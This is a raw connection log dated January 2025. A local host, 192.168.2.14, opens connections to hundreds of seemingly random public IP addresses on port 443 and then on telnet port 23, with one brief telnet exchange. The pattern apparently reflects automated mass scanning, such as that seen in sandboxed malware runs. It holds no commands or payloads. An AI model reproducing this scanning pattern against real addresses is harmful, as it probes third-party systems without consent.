Jan 30, 2025 10:43:00.138694048 CET	61319	443	192.168.2.14	117.59.69.221
Jan 30, 2025 10:43:00.138693094 CET	61319	443	192.168.2.14	118.166.16.137
Jan 30, 2025 10:43:00.138693094 CET	61319	443	192.168.2.14	5.90.241.152
Jan 30, 2025 10:43:00.138693094 CET	61319	443	192.168.2.14	94.0.150.132
Jan 30, 2025 10:43:00.138691902 CET	61319	443	192.168.2.14	94.198.232.19
Jan 30, 2025 10:43:00.138693094 CET	61319	443	192.168.2.14	5.194.185.74
Jan 30, 2025 10:43:00.138694048 CET	61319	443	192.168.2.14	212.252.222.7
Jan 30, 2025 10:43:00.138700008 CET	61319	443	192.168.2.14	2.105.40.240
Jan 30, 2025 10:43:00.138693094 CET	61319	443	192.168.2.14	123.252.145.104
Jan 30, 2025 10:43:00.138696909 CET	61319	443	192.168.2.14	109.84.5.161
Jan 30, 2025 10:43:00.138696909 CET	61319	443	192.168.2.14	37.1.85.150
Jan 30, 2025 10:43:00.138693094 CET	61319	443	192.168.2.14	210.141.58.121
Jan 30, 2025 10:43:00.138700008 CET	61319	443	192.168.2.14	109.81.215.170
Jan 30, 2025 10:43:00.138693094 CET	61319	443	192.168.2.14	42.144.77.159
Jan 30, 2025 10:43:00.138705015 CET	61319	443	192.168.2.14	2.218.174.46
Jan 30, 2025 10:43:00.138693094 CET	61319	443	192.168.2.14	210.239.128.174
Jan 30, 2025 10:43:00.138705969 CET	61319	443	192.168.2.14	5.146.16.187
Jan 30, 2025 10:43:00.138705015 CET	61319	443	192.168.2.14	5.130.81.210
Jan 30, 2025 10:43:00.138710022 CET	61319	443	192.168.2.14	109.71.145.183
Jan 30, 2025 10:43:00.138715029 CET	61319	443	192.168.2.14	123.95.154.146
Jan 30, 2025 10:43:00.138716936 CET	61319	443	192.168.2.14	117.72.80.18
Jan 30, 2025 10:43:00.138719082 CET	61319	443	192.168.2.14	123.229.70.161
Jan 30, 2025 10:43:00.138719082 CET	61319	443	192.168.2.14	210.73.133.146
Jan 30, 2025 10:43:00.138727903 CET	61319	443	192.168.2.14	178.12.79.209
Jan 30, 2025 10:43:00.138727903 CET	61319	443	192.168.2.14	148.111.239.188
Jan 30, 2025 10:43:00.138734102 CET	61319	443	192.168.2.14	123.75.212.62
Jan 30, 2025 10:43:00.138734102 CET	61319	443	192.168.2.14	210.230.101.42
Jan 30, 2025 10:43:00.138735056 CET	61319	443	192.168.2.14	37.40.43.221
Jan 30, 2025 10:43:00.138736010 CET	61319	443	192.168.2.14	94.219.166.106
Jan 30, 2025 10:43:00.138736010 CET	61319	443	192.168.2.14	2.211.128.122
Jan 30, 2025 10:43:00.138735056 CET	61319	443	192.168.2.14	210.49.159.57
Jan 30, 2025 10:43:00.138736010 CET	61319	443	192.168.2.14	37.253.156.109
Jan 30, 2025 10:43:00.138735056 CET	61319	443	192.168.2.14	109.165.18.9
Jan 30, 2025 10:43:00.138746977 CET	61319	443	192.168.2.14	109.76.153.191
Jan 30, 2025 10:43:00.138747931 CET	61319	443	192.168.2.14	202.244.207.188
Jan 30, 2025 10:43:00.138750076 CET	61319	443	192.168.2.14	178.73.156.84
Jan 30, 2025 10:43:00.138750076 CET	61319	443	192.168.2.14	117.162.33.251
Jan 30, 2025 10:43:00.138819933 CET	61319	443	192.168.2.14	5.50.165.252
Jan 30, 2025 10:43:00.138819933 CET	61319	443	192.168.2.14	2.156.88.144
Jan 30, 2025 10:43:00.138819933 CET	61319	443	192.168.2.14	37.7.246.246
Jan 30, 2025 10:43:00.138822079 CET	61319	443	192.168.2.14	42.225.249.123
Jan 30, 2025 10:43:00.138822079 CET	61319	443	192.168.2.14	37.20.236.86
Jan 30, 2025 10:43:00.138825893 CET	61319	443	192.168.2.14	2.123.170.111
Jan 30, 2025 10:43:00.138825893 CET	61319	443	192.168.2.14	210.79.29.85
Jan 30, 2025 10:43:00.138827085 CET	61319	443	192.168.2.14	212.24.116.27
Jan 30, 2025 10:43:00.138825893 CET	61319	443	192.168.2.14	2.1.170.190
Jan 30, 2025 10:43:00.138825893 CET	61319	443	192.168.2.14	42.128.234.144
Jan 30, 2025 10:43:00.138829947 CET	61319	443	192.168.2.14	117.197.200.230
Jan 30, 2025 10:43:00.138825893 CET	61319	443	192.168.2.14	178.82.36.156
Jan 30, 2025 10:43:00.138829947 CET	61319	443	192.168.2.14	178.137.171.248
Jan 30, 2025 10:43:00.138825893 CET	61319	443	192.168.2.14	118.158.125.16
Jan 30, 2025 10:43:00.138848066 CET	61319	443	192.168.2.14	210.245.203.166
Jan 30, 2025 10:43:00.138848066 CET	61319	443	192.168.2.14	2.142.41.178
Jan 30, 2025 10:43:00.138848066 CET	61319	443	192.168.2.14	5.92.71.106
Jan 30, 2025 10:43:00.138848066 CET	61319	443	192.168.2.14	212.97.205.249
Jan 30, 2025 10:43:00.138848066 CET	61319	443	192.168.2.14	42.14.98.216
Jan 30, 2025 10:43:00.138850927 CET	61319	443	192.168.2.14	5.210.238.139
Jan 30, 2025 10:43:00.138851881 CET	61319	443	192.168.2.14	94.171.202.69
Jan 30, 2025 10:43:00.138851881 CET	61319	443	192.168.2.14	42.18.29.185
Jan 30, 2025 10:43:00.138851881 CET	61319	443	192.168.2.14	202.104.120.44
Jan 30, 2025 10:43:00.138851881 CET	61319	443	192.168.2.14	2.17.24.176
Jan 30, 2025 10:43:00.138861895 CET	61319	443	192.168.2.14	123.213.25.177
Jan 30, 2025 10:43:00.138863087 CET	61319	443	192.168.2.14	178.202.215.192
Jan 30, 2025 10:43:00.138864040 CET	61319	443	192.168.2.14	202.111.248.87
Jan 30, 2025 10:43:00.138864040 CET	61319	443	192.168.2.14	202.51.156.19
Jan 30, 2025 10:43:00.138864994 CET	61319	443	192.168.2.14	94.209.145.50
Jan 30, 2025 10:43:00.138864040 CET	61319	443	192.168.2.14	117.232.164.28
Jan 30, 2025 10:43:00.138864994 CET	61319	443	192.168.2.14	42.200.237.42
Jan 30, 2025 10:43:00.138868093 CET	61319	443	192.168.2.14	210.117.126.184
Jan 30, 2025 10:43:00.138868093 CET	61319	443	192.168.2.14	118.105.37.39
Jan 30, 2025 10:43:00.138868093 CET	61319	443	192.168.2.14	210.179.92.22
Jan 30, 2025 10:43:00.138868093 CET	61319	443	192.168.2.14	202.156.238.133
Jan 30, 2025 10:43:00.138868093 CET	61319	443	192.168.2.14	210.83.216.140
Jan 30, 2025 10:43:00.138871908 CET	61319	443	192.168.2.14	79.200.127.126
Jan 30, 2025 10:43:00.138870955 CET	61319	443	192.168.2.14	5.32.196.1
Jan 30, 2025 10:43:00.138879061 CET	61319	443	192.168.2.14	42.23.68.50
Jan 30, 2025 10:43:00.138881922 CET	61319	443	192.168.2.14	109.6.33.78
Jan 30, 2025 10:43:00.138885975 CET	61319	443	192.168.2.14	79.68.4.94
Jan 30, 2025 10:43:00.138885975 CET	61319	443	192.168.2.14	118.222.239.107
Jan 30, 2025 10:43:00.138885975 CET	61319	443	192.168.2.14	148.247.6.109
Jan 30, 2025 10:43:00.138885975 CET	61319	443	192.168.2.14	148.238.4.23
Jan 30, 2025 10:43:00.138885975 CET	61319	443	192.168.2.14	178.38.200.94
Jan 30, 2025 10:43:00.138891935 CET	61319	443	192.168.2.14	37.251.224.37
Jan 30, 2025 10:43:00.138894081 CET	61319	443	192.168.2.14	109.122.59.81
Jan 30, 2025 10:43:00.138894081 CET	61319	443	192.168.2.14	79.202.238.89
Jan 30, 2025 10:43:00.138894081 CET	61319	443	192.168.2.14	94.150.30.118
Jan 30, 2025 10:43:00.138896942 CET	61319	443	192.168.2.14	79.42.83.93
Jan 30, 2025 10:43:00.138899088 CET	61319	443	192.168.2.14	212.233.148.80
Jan 30, 2025 10:43:00.138899088 CET	61319	443	192.168.2.14	210.120.244.187
Jan 30, 2025 10:43:00.138899088 CET	61319	443	192.168.2.14	117.222.46.220
Jan 30, 2025 10:43:00.138900995 CET	61319	443	192.168.2.14	123.211.247.13
Jan 30, 2025 10:43:00.138909101 CET	61319	443	192.168.2.14	5.31.175.133
Jan 30, 2025 10:43:00.138909101 CET	61319	443	192.168.2.14	42.68.118.34
Jan 30, 2025 10:43:00.138909101 CET	61319	443	192.168.2.14	178.118.196.160
Jan 30, 2025 10:43:00.138909101 CET	61319	443	192.168.2.14	178.113.225.36
Jan 30, 2025 10:43:00.138909101 CET	61319	443	192.168.2.14	5.243.66.128
Jan 30, 2025 10:43:00.138909101 CET	61319	443	192.168.2.14	109.1.61.11
Jan 30, 2025 10:43:00.138923883 CET	61319	443	192.168.2.14	79.87.153.98
Jan 30, 2025 10:43:00.138923883 CET	61319	443	192.168.2.14	2.238.174.190
Jan 30, 2025 10:43:00.138923883 CET	61319	443	192.168.2.14	109.66.75.204
Jan 30, 2025 10:43:00.138958931 CET	61319	443	192.168.2.14	42.37.39.245
Jan 30, 2025 10:43:00.138958931 CET	61319	443	192.168.2.14	117.142.7.82
Jan 30, 2025 10:43:00.138963938 CET	61319	443	192.168.2.14	42.81.155.49
Jan 30, 2025 10:43:00.138967037 CET	61319	443	192.168.2.14	118.153.0.75
Jan 30, 2025 10:43:00.138968945 CET	61319	443	192.168.2.14	123.40.212.54
Jan 30, 2025 10:43:00.138968945 CET	61319	443	192.168.2.14	123.65.25.140
Jan 30, 2025 10:43:00.138968945 CET	61319	443	192.168.2.14	148.99.53.231
Jan 30, 2025 10:43:00.139002085 CET	61319	443	192.168.2.14	148.19.164.78
Jan 30, 2025 10:43:00.139009953 CET	61319	443	192.168.2.14	148.170.130.89
Jan 30, 2025 10:43:00.139014959 CET	61319	443	192.168.2.14	118.194.61.114
Jan 30, 2025 10:43:00.139014959 CET	61319	443	192.168.2.14	118.222.85.238
Jan 30, 2025 10:43:00.139019966 CET	61319	443	192.168.2.14	148.123.78.192
Jan 30, 2025 10:43:00.139023066 CET	61319	443	192.168.2.14	42.195.143.140
Jan 30, 2025 10:43:00.139023066 CET	61319	443	192.168.2.14	5.178.142.21
Jan 30, 2025 10:43:00.143353939 CET	38638	443	192.168.2.14	117.44.222.92
Jan 30, 2025 10:43:00.740231037 CET	49874	23	192.168.2.14	217.32.184.17
Jan 30, 2025 10:43:00.748493910 CET	23	49874	217.32.184.17	192.168.2.14
Jan 30, 2025 10:43:00.748573065 CET	49874	23	192.168.2.14	217.32.184.17
Jan 30, 2025 10:43:00.749459028 CET	49874	23	192.168.2.14	217.32.184.17
Jan 30, 2025 10:43:00.755656958 CET	23	49874	217.32.184.17	192.168.2.14
Jan 30, 2025 10:43:00.755723953 CET	49874	23	192.168.2.14	217.32.184.17
Jan 30, 2025 10:43:00.761794090 CET	23	49874	217.32.184.17	192.168.2.14
Jan 30, 2025 10:43:01.064320087 CET	63367	23	192.168.2.14	4.184.231.164
Jan 30, 2025 10:43:01.064348936 CET	63367	23	192.168.2.14	222.205.253.197
Jan 30, 2025 10:43:01.064351082 CET	63367	23	192.168.2.14	149.43.209.23
Jan 30, 2025 10:43:01.064363956 CET	63367	23	192.168.2.14	144.20.183.93
Jan 30, 2025 10:43:01.064373016 CET	63367	23	192.168.2.14	98.63.41.248
Jan 30, 2025 10:43:01.064373016 CET	63367	23	192.168.2.14	124.164.206.117
Jan 30, 2025 10:43:01.064379930 CET	63367	23	192.168.2.14	115.119.249.212
Jan 30, 2025 10:43:01.064378977 CET	63367	23	192.168.2.14	115.52.154.225
Jan 30, 2025 10:43:01.064379930 CET	63367	23	192.168.2.14	166.85.208.113
Jan 30, 2025 10:43:01.064380884 CET	63367	23	192.168.2.14	174.222.74.15
Jan 30, 2025 10:43:01.064380884 CET	63367	23	192.168.2.14	35.250.114.97
Jan 30, 2025 10:43:01.064380884 CET	63367	23	192.168.2.14	154.105.133.112
Jan 30, 2025 10:43:01.064378977 CET	63367	23	192.168.2.14	74.35.217.202
Jan 30, 2025 10:43:01.064380884 CET	63367	23	192.168.2.14	179.108.58.90
Jan 30, 2025 10:43:01.064379930 CET	63367	23	192.168.2.14	133.79.205.211
Jan 30, 2025 10:43:01.064378977 CET	63367	23	192.168.2.14	112.68.89.33
Jan 30, 2025 10:43:01.064380884 CET	63367	23	192.168.2.14	163.170.73.192
Jan 30, 2025 10:43:01.064379930 CET	63367	23	192.168.2.14	207.65.255.65
Jan 30, 2025 10:43:01.064379930 CET	63367	23	192.168.2.14	96.132.171.214
Jan 30, 2025 10:43:01.064394951 CET	63367	23	192.168.2.14	174.246.95.55
Jan 30, 2025 10:43:01.064379930 CET	63367	23	192.168.2.14	218.198.1.6
Jan 30, 2025 10:43:01.064394951 CET	63367	23	192.168.2.14	114.158.187.219
Jan 30, 2025 10:43:01.064393044 CET	63367	23	192.168.2.14	1.126.127.148
Jan 30, 2025 10:43:01.064394951 CET	63367	23	192.168.2.14	70.79.214.205
Jan 30, 2025 10:43:01.064393044 CET	63367	23	192.168.2.14	161.37.115.158
Jan 30, 2025 10:43:01.064393044 CET	63367	23	192.168.2.14	219.208.206.52
Jan 30, 2025 10:43:01.064419031 CET	63367	23	192.168.2.14	66.201.138.216
Jan 30, 2025 10:43:01.064419031 CET	63367	23	192.168.2.14	207.193.26.206
Jan 30, 2025 10:43:01.064421892 CET	63367	23	192.168.2.14	130.192.107.69
Jan 30, 2025 10:43:01.064421892 CET	63367	23	192.168.2.14	218.163.109.72
Jan 30, 2025 10:43:01.064421892 CET	63367	23	192.168.2.14	207.156.251.11
Jan 30, 2025 10:43:01.064421892 CET	63367	23	192.168.2.14	95.243.224.0
Jan 30, 2025 10:43:01.064456940 CET	63367	23	192.168.2.14	45.247.242.78
Jan 30, 2025 10:43:01.064465046 CET	63367	23	192.168.2.14	57.248.171.221
Jan 30, 2025 10:43:01.064465046 CET	63367	23	192.168.2.14	52.58.16.35
Jan 30, 2025 10:43:01.064465046 CET	63367	23	192.168.2.14	125.185.81.164
Jan 30, 2025 10:43:01.064465046 CET	63367	23	192.168.2.14	100.255.75.83
Jan 30, 2025 10:43:01.064465046 CET	63367	23	192.168.2.14	107.128.78.141
Jan 30, 2025 10:43:01.064469099 CET	63367	23	192.168.2.14	80.16.16.73
Jan 30, 2025 10:43:01.064469099 CET	63367	23	192.168.2.14	52.235.120.203
Jan 30, 2025 10:43:01.064469099 CET	63367	23	192.168.2.14	165.171.247.100
Jan 30, 2025 10:43:01.064469099 CET	63367	23	192.168.2.14	44.189.93.236
Jan 30, 2025 10:43:01.064469099 CET	63367	23	192.168.2.14	187.40.85.32
Jan 30, 2025 10:43:01.064469099 CET	63367	23	192.168.2.14	177.242.34.98
Jan 30, 2025 10:43:01.064471006 CET	63367	23	192.168.2.14	207.6.5.88
Jan 30, 2025 10:43:01.064471006 CET	63367	23	192.168.2.14	156.244.158.220
Jan 30, 2025 10:43:01.064471006 CET	63367	23	192.168.2.14	113.39.160.11
Jan 30, 2025 10:43:01.064471006 CET	63367	23	192.168.2.14	45.88.139.207
Jan 30, 2025 10:43:01.064471006 CET	63367	23	192.168.2.14	52.163.220.16
Jan 30, 2025 10:43:01.064471006 CET	63367	23	192.168.2.14	113.153.228.153
Jan 30, 2025 10:43:01.064479113 CET	63367	23	192.168.2.14	88.8.84.132
Jan 30, 2025 10:43:01.064491034 CET	63367	23	192.168.2.14	89.164.28.186
Jan 30, 2025 10:43:01.064511061 CET	63367	23	192.168.2.14	149.45.37.231
Jan 30, 2025 10:43:01.064512014 CET	63367	23	192.168.2.14	63.90.0.159
Jan 30, 2025 10:43:01.064512014 CET	63367	23	192.168.2.14	66.5.149.202
Jan 30, 2025 10:43:01.064512968 CET	63367	23	192.168.2.14	86.215.101.48
Jan 30, 2025 10:43:01.064522028 CET	63367	23	192.168.2.14	138.241.139.171
Jan 30, 2025 10:43:01.064526081 CET	63367	23	192.168.2.14	106.133.150.71
Jan 30, 2025 10:43:01.064533949 CET	63367	23	192.168.2.14	47.63.142.185
Jan 30, 2025 10:43:01.064538002 CET	63367	23	192.168.2.14	2.196.171.54
Jan 30, 2025 10:43:01.064544916 CET	63367	23	192.168.2.14	34.208.77.95
Jan 30, 2025 10:43:01.064560890 CET	63367	23	192.168.2.14	175.247.65.156
Jan 30, 2025 10:43:01.064562082 CET	63367	23	192.168.2.14	92.107.3.223
Jan 30, 2025 10:43:01.064563990 CET	63367	23	192.168.2.14	84.82.153.238
Jan 30, 2025 10:43:01.064577103 CET	63367	23	192.168.2.14	112.202.221.69
Jan 30, 2025 10:43:01.064577103 CET	63367	23	192.168.2.14	39.55.164.111
Jan 30, 2025 10:43:01.064584017 CET	63367	23	192.168.2.14	94.37.158.220
Jan 30, 2025 10:43:01.064587116 CET	63367	23	192.168.2.14	121.235.128.89
Jan 30, 2025 10:43:01.064587116 CET	63367	23	192.168.2.14	195.209.123.46
Jan 30, 2025 10:43:01.064589977 CET	63367	23	192.168.2.14	149.159.124.52
Jan 30, 2025 10:43:01.064589977 CET	63367	23	192.168.2.14	167.199.178.132
Jan 30, 2025 10:43:01.064589977 CET	63367	23	192.168.2.14	222.237.230.249
Jan 30, 2025 10:43:01.064594030 CET	63367	23	192.168.2.14	118.152.60.0
Jan 30, 2025 10:43:01.064601898 CET	63367	23	192.168.2.14	167.100.59.247
Jan 30, 2025 10:43:01.064606905 CET	63367	23	192.168.2.14	151.227.57.130
Jan 30, 2025 10:43:01.064606905 CET	63367	23	192.168.2.14	154.119.116.238
Jan 30, 2025 10:43:01.064609051 CET	63367	23	192.168.2.14	168.84.215.80
Jan 30, 2025 10:43:01.064619064 CET	63367	23	192.168.2.14	133.132.103.233
Jan 30, 2025 10:43:01.064631939 CET	63367	23	192.168.2.14	139.106.210.115
Jan 30, 2025 10:43:01.064642906 CET	63367	23	192.168.2.14	135.53.24.115
Jan 30, 2025 10:43:01.064646006 CET	63367	23	192.168.2.14	151.222.69.180
Jan 30, 2025 10:43:01.064646006 CET	63367	23	192.168.2.14	27.224.82.193
Jan 30, 2025 10:43:01.064646006 CET	63367	23	192.168.2.14	42.118.225.217
Jan 30, 2025 10:43:01.064649105 CET	63367	23	192.168.2.14	155.204.214.12
Jan 30, 2025 10:43:01.064656973 CET	63367	23	192.168.2.14	94.134.197.200
Jan 30, 2025 10:43:01.064667940 CET	63367	23	192.168.2.14	96.57.191.189
Jan 30, 2025 10:43:01.064672947 CET	63367	23	192.168.2.14	206.64.86.124
Jan 30, 2025 10:43:01.064677000 CET	63367	23	192.168.2.14	167.2.146.131
Jan 30, 2025 10:43:01.064687014 CET	63367	23	192.168.2.14	101.241.87.187
Jan 30, 2025 10:43:01.064687014 CET	63367	23	192.168.2.14	217.4.104.251
Jan 30, 2025 10:43:01.064697981 CET	63367	23	192.168.2.14	121.56.38.22
Jan 30, 2025 10:43:01.064702988 CET	63367	23	192.168.2.14	82.242.201.134
Jan 30, 2025 10:43:01.064713955 CET	63367	23	192.168.2.14	137.22.78.66
Jan 30, 2025 10:43:01.064714909 CET	63367	23	192.168.2.14	19.33.234.38
Jan 30, 2025 10:43:01.064726114 CET	63367	23	192.168.2.14	121.159.216.9
Jan 30, 2025 10:43:01.064729929 CET	63367	23	192.168.2.14	23.91.85.126
Jan 30, 2025 10:43:01.064733982 CET	63367	23	192.168.2.14	96.59.157.155
Jan 30, 2025 10:43:01.064745903 CET	63367	23	192.168.2.14	79.67.118.70
Jan 30, 2025 10:43:01.064754963 CET	63367	23	192.168.2.14	104.61.234.19
Jan 30, 2025 10:43:01.064759970 CET	63367	23	192.168.2.14	134.22.1.46
Jan 30, 2025 10:43:01.064759970 CET	63367	23	192.168.2.14	52.102.21.116
Jan 30, 2025 10:43:01.064764023 CET	63367	23	192.168.2.14	173.135.182.117
Jan 30, 2025 10:43:01.064768076 CET	63367	23	192.168.2.14	106.91.244.160
Jan 30, 2025 10:43:01.064776897 CET	63367	23	192.168.2.14	81.190.19.254
Jan 30, 2025 10:43:01.064780951 CET	63367	23	192.168.2.14	42.101.117.166
Jan 30, 2025 10:43:01.064788103 CET	63367	23	192.168.2.14	180.33.213.205
Jan 30, 2025 10:43:01.064799070 CET	63367	23	192.168.2.14	113.213.92.184
Jan 30, 2025 10:43:01.064806938 CET	63367	23	192.168.2.14	183.166.93.214
Jan 30, 2025 10:43:01.064820051 CET	63367	23	192.168.2.14	90.73.54.214
Jan 30, 2025 10:43:01.064830065 CET	63367	23	192.168.2.14	150.158.119.80
Jan 30, 2025 10:43:01.064830065 CET	63367	23	192.168.2.14	79.179.211.197
Jan 30, 2025 10:43:01.064840078 CET	63367	23	192.168.2.14	159.227.120.101
Jan 30, 2025 10:43:01.064842939 CET	63367	23	192.168.2.14	155.202.144.245
Jan 30, 2025 10:43:01.064858913 CET	63367	23	192.168.2.14	98.11.2.103
Jan 30, 2025 10:43:01.064861059 CET	63367	23	192.168.2.14	120.51.91.101
Jan 30, 2025 10:43:01.064860106 CET	63367	23	192.168.2.14	50.165.156.240
Jan 30, 2025 10:43:01.064867973 CET	63367	23	192.168.2.14	202.206.60.173
Jan 30, 2025 10:43:01.064879894 CET	63367	23	192.168.2.14	74.205.48.188
Jan 30, 2025 10:43:01.064897060 CET	63367	23	192.168.2.14	107.179.68.69
Jan 30, 2025 10:43:01.064901114 CET	63367	23	192.168.2.14	164.24.77.59
Jan 30, 2025 10:43:01.064908028 CET	63367	23	192.168.2.14	27.68.135.24
Jan 30, 2025 10:43:01.064915895 CET	63367	23	192.168.2.14	150.110.18.150
Jan 30, 2025 10:43:01.064915895 CET	63367	23	192.168.2.14	47.14.22.168
Jan 30, 2025 10:43:01.064917088 CET	63367	23	192.168.2.14	121.152.186.23
Jan 30, 2025 10:43:01.064924002 CET	63367	23	192.168.2.14	125.25.232.15
Jan 30, 2025 10:43:01.064930916 CET	63367	23	192.168.2.14	216.126.92.29
Jan 30, 2025 10:43:01.064930916 CET	63367	23	192.168.2.14	48.0.214.240
Jan 30, 2025 10:43:01.064939976 CET	63367	23	192.168.2.14	74.132.68.42
Jan 30, 2025 10:43:01.064948082 CET	63367	23	192.168.2.14	209.13.157.103
Jan 30, 2025 10:43:01.064954996 CET	63367	23	192.168.2.14	176.6.59.119
Jan 30, 2025 10:43:01.064960957 CET	63367	23	192.168.2.14	37.224.162.170
Jan 30, 2025 10:43:01.064970970 CET	63367	23	192.168.2.14	87.242.136.9
Jan 30, 2025 10:43:01.064982891 CET	63367	23	192.168.2.14	12.73.232.250
Jan 30, 2025 10:43:01.064990044 CET	63367	23	192.168.2.14	52.75.37.180
Jan 30, 2025 10:43:01.065000057 CET	63367	23	192.168.2.14	42.174.231.114
Jan 30, 2025 10:43:01.065000057 CET	63367	23	192.168.2.14	98.213.185.248
Jan 30, 2025 10:43:01.065010071 CET	63367	23	192.168.2.14	89.136.209.63
Jan 30, 2025 10:43:01.065021038 CET	63367	23	192.168.2.14	139.222.204.141
Jan 30, 2025 10:43:01.065021038 CET	63367	23	192.168.2.14	187.39.156.127
Jan 30, 2025 10:43:01.065021038 CET	63367	23	192.168.2.14	204.190.42.22
Jan 30, 2025 10:43:01.065025091 CET	63367	23	192.168.2.14	63.8.94.132
Jan 30, 2025 10:43:01.065027952 CET	63367	23	192.168.2.14	175.90.2.198
Jan 30, 2025 10:43:01.065032005 CET	63367	23	192.168.2.14	187.147.1.187
Jan 30, 2025 10:43:01.065032005 CET	63367	23	192.168.2.14	109.60.101.53
Jan 30, 2025 10:43:01.065032959 CET	63367	23	192.168.2.14	72.9.129.171
Jan 30, 2025 10:43:01.065032959 CET	63367	23	192.168.2.14	23.38.112.128
Jan 30, 2025 10:43:01.065037966 CET	63367	23	192.168.2.14	126.139.47.220
Jan 30, 2025 10:43:01.065047979 CET	63367	23	192.168.2.14	92.234.38.59
Jan 30, 2025 10:43:01.065059900 CET	63367	23	192.168.2.14	107.114.65.52
Jan 30, 2025 10:43:01.065059900 CET	63367	23	192.168.2.14	199.11.40.49
Jan 30, 2025 10:43:01.065061092 CET	63367	23	192.168.2.14	208.224.167.254
Jan 30, 2025 10:43:01.065061092 CET	63367	23	192.168.2.14	24.122.159.254
Jan 30, 2025 10:43:01.065073013 CET	63367	23	192.168.2.14	179.96.229.38
Jan 30, 2025 10:43:01.065077066 CET	63367	23	192.168.2.14	128.144.169.191
Jan 30, 2025 10:43:01.065089941 CET	63367	23	192.168.2.14	142.119.150.97
Jan 30, 2025 10:43:01.065090895 CET	63367	23	192.168.2.14	13.143.118.252
Jan 30, 2025 10:43:01.065090895 CET	63367	23	192.168.2.14	154.186.171.131
Jan 30, 2025 10:43:01.065097094 CET	63367	23	192.168.2.14	36.30.148.133
Jan 30, 2025 10:43:01.065098047 CET	63367	23	192.168.2.14	205.130.254.219
Jan 30, 2025 10:43:01.065113068 CET	63367	23	192.168.2.14	178.61.69.164
Jan 30, 2025 10:43:01.065113068 CET	63367	23	192.168.2.14	111.255.55.247
Jan 30, 2025 10:43:01.065120935 CET	63367	23	192.168.2.14	194.92.21.129
Jan 30, 2025 10:43:01.065143108 CET	63367	23	192.168.2.14	57.23.127.142
Jan 30, 2025 10:43:01.065143108 CET	63367	23	192.168.2.14	70.209.144.18
Jan 30, 2025 10:43:01.065149069 CET	63367	23	192.168.2.14	95.121.206.175
Jan 30, 2025 10:43:01.065150023 CET	63367	23	192.168.2.14	51.38.205.109
Jan 30, 2025 10:43:01.065149069 CET	63367	23	192.168.2.14	201.164.198.120
Jan 30, 2025 10:43:01.065149069 CET	63367	23	192.168.2.14	161.54.53.150
Jan 30, 2025 10:43:01.065155983 CET	63367	23	192.168.2.14	143.161.196.142
Jan 30, 2025 10:43:01.065159082 CET	63367	23	192.168.2.14	107.19.101.10
Jan 30, 2025 10:43:01.065176010 CET	63367	23	192.168.2.14	68.195.232.215
Jan 30, 2025 10:43:01.065176964 CET	63367	23	192.168.2.14	141.68.213.43
Jan 30, 2025 10:43:01.065180063 CET	63367	23	192.168.2.14	36.243.243.152
Jan 30, 2025 10:43:01.065180063 CET	63367	23	192.168.2.14	4.194.0.101
Jan 30, 2025 10:43:01.065195084 CET	63367	23	192.168.2.14	110.25.221.236
Jan 30, 2025 10:43:01.065195084 CET	63367	23	192.168.2.14	89.86.73.137
Jan 30, 2025 10:43:01.065195084 CET	63367	23	192.168.2.14	146.86.213.132
Jan 30, 2025 10:43:01.065197945 CET	63367	23	192.168.2.14	123.25.46.107
Jan 30, 2025 10:43:01.065206051 CET	63367	23	192.168.2.14	122.99.96.160
Jan 30, 2025 10:43:01.065224886 CET	63367	23	192.168.2.14	118.240.206.74
Jan 30, 2025 10:43:01.065232038 CET	63367	23	192.168.2.14	166.152.187.74
Jan 30, 2025 10:43:01.065233946 CET	63367	23	192.168.2.14	191.141.9.17
Jan 30, 2025 10:43:01.065233946 CET	63367	23	192.168.2.14	163.50.184.147
Jan 30, 2025 10:43:01.065237999 CET	63367	23	192.168.2.14	68.154.107.193
Jan 30, 2025 10:43:01.065237999 CET	63367	23	192.168.2.14	203.202.191.113
Jan 30, 2025 10:43:01.065241098 CET	63367	23	192.168.2.14	180.235.68.5
Jan 30, 2025 10:43:01.065248966 CET	63367	23	192.168.2.14	157.99.172.79
Jan 30, 2025 10:43:01.065256119 CET	63367	23	192.168.2.14	182.218.177.51
Jan 30, 2025 10:43:01.065258026 CET	63367	23	192.168.2.14	47.15.249.25
Jan 30, 2025 10:43:01.065258026 CET	63367	23	192.168.2.14	72.155.235.124
Jan 30, 2025 10:43:01.065258026 CET	63367	23	192.168.2.14	41.143.243.235
Jan 30, 2025 10:43:01.065258026 CET	63367	23	192.168.2.14	64.194.31.65
Jan 30, 2025 10:43:01.065258026 CET	63367	23	192.168.2.14	120.77.167.158
Jan 30, 2025 10:43:01.065264940 CET	63367	23	192.168.2.14	164.225.136.65
Jan 30, 2025 10:43:01.065269947 CET	63367	23	192.168.2.14	58.222.87.174
Jan 30, 2025 10:43:01.065272093 CET	63367	23	192.168.2.14	154.148.149.122
Jan 30, 2025 10:43:01.065293074 CET	63367	23	192.168.2.14	70.188.138.95
Jan 30, 2025 10:43:01.065300941 CET	63367	23	192.168.2.14	125.98.44.116
Jan 30, 2025 10:43:01.065300941 CET	63367	23	192.168.2.14	190.243.15.161
Jan 30, 2025 10:43:01.065300941 CET	63367	23	192.168.2.14	221.66.169.200
Jan 30, 2025 10:43:01.065319061 CET	63367	23	192.168.2.14	178.110.242.236
Jan 30, 2025 10:43:01.065319061 CET	63367	23	192.168.2.14	158.120.39.89
Jan 30, 2025 10:43:01.065319061 CET	63367	23	192.168.2.14	99.141.224.116
Jan 30, 2025 10:43:01.065359116 CET	63367	23	192.168.2.14	151.40.170.147
Jan 30, 2025 10:43:01.065359116 CET	63367	23	192.168.2.14	61.45.150.130
Jan 30, 2025 10:43:01.065360069 CET	63367	23	192.168.2.14	182.173.223.165
Jan 30, 2025 10:43:01.065361023 CET	63367	23	192.168.2.14	146.94.59.45
Jan 30, 2025 10:43:01.065362930 CET	63367	23	192.168.2.14	152.102.212.85
Jan 30, 2025 10:43:01.065377951 CET	63367	23	192.168.2.14	120.49.60.133
Jan 30, 2025 10:43:01.065377951 CET	63367	23	192.168.2.14	117.64.148.13
Jan 30, 2025 10:43:01.065381050 CET	63367	23	192.168.2.14	121.139.125.151
Jan 30, 2025 10:43:01.065381050 CET	63367	23	192.168.2.14	133.191.238.43
Jan 30, 2025 10:43:01.065382957 CET	63367	23	192.168.2.14	87.141.61.111
Jan 30, 2025 10:43:01.065382957 CET	63367	23	192.168.2.14	202.80.183.168
Jan 30, 2025 10:43:01.065382957 CET	63367	23	192.168.2.14	46.9.39.68
Jan 30, 2025 10:43:01.065382957 CET	63367	23	192.168.2.14	194.111.145.207
Jan 30, 2025 10:43:01.065395117 CET	63367	23	192.168.2.14	187.110.85.127
Jan 30, 2025 10:43:01.065397024 CET	63367	23	192.168.2.14	141.116.197.68
